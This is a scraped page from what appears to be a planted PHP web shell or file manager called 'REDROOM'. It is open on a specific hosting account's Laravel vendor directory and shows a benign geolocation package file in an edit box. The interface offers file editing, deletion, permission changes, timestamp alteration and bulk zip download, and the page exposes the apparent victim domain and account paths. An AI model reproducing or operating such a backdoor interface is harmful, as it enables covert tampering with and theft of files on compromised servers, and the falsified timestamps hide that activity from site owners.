REDROOM
PHP 8.3.31
Path:
Logout
Edit File
Size: 1.22 KB
Close
//proc/self/root/home/getspomw/itechservicellc.com/vendor/stevebauman/location/src/LocationRequest.php
Text
Base64
<?php namespace Stevebauman\Location; use Illuminate\Http\Request as IlluminateRequest; class LocationRequest extends IlluminateRequest implements Request { /** * The IP address to resolve. */ protected ?string $ip; /** * Get the client IP address. */ public function getIp(): string { if ($this->ip) { return $this->ip; } if ($this->isTesting()) { return $this->getTestingIp(); } return parent::ip(); } /** * Set the IP address to resolve. */ public function setIp(?string $ip = null): static { $this->ip = $ip; return $this; } /** * Get a header from the request. */ public function getHeader(?string $key = null, string|array|null $default = null): string|array|null { return parent::header($key, $default); } /** * Determine if location testing is enabled. */ protected function isTesting(): bool { return config('location.testing.enabled', true); } /** * Get the testing IP address. */ protected function getTestingIp(): string { return config('location.testing.ip', '66.102.0.0'); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 4 × Files: 6
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Commands
DIR
-
drwxr-xr-x
2025-11-18 19:24:10
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Drivers
DIR
-
drwxr-xr-x
2025-11-18 19:24:10
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Exceptions
DIR
-
drwxr-xr-x
2025-11-18 19:24:10
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Facades
DIR
-
drwxr-xr-x
2025-11-18 19:24:10
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
LocationFake.php
938 B
lrw-r--r--
2025-10-28 20:23:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
LocationManager.php
2.79 KB
lrw-r--r--
2025-10-28 20:23:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
LocationRequest.php
1.22 KB
lrw-r--r--
2025-10-28 20:23:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
LocationServiceProvider.php
734 B
lrw-r--r--
2025-10-28 20:23:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Position.php
2.35 KB
lrw-r--r--
2025-10-28 20:23:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Request.php
420 B
lrw-r--r--
2025-10-28 20:23:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).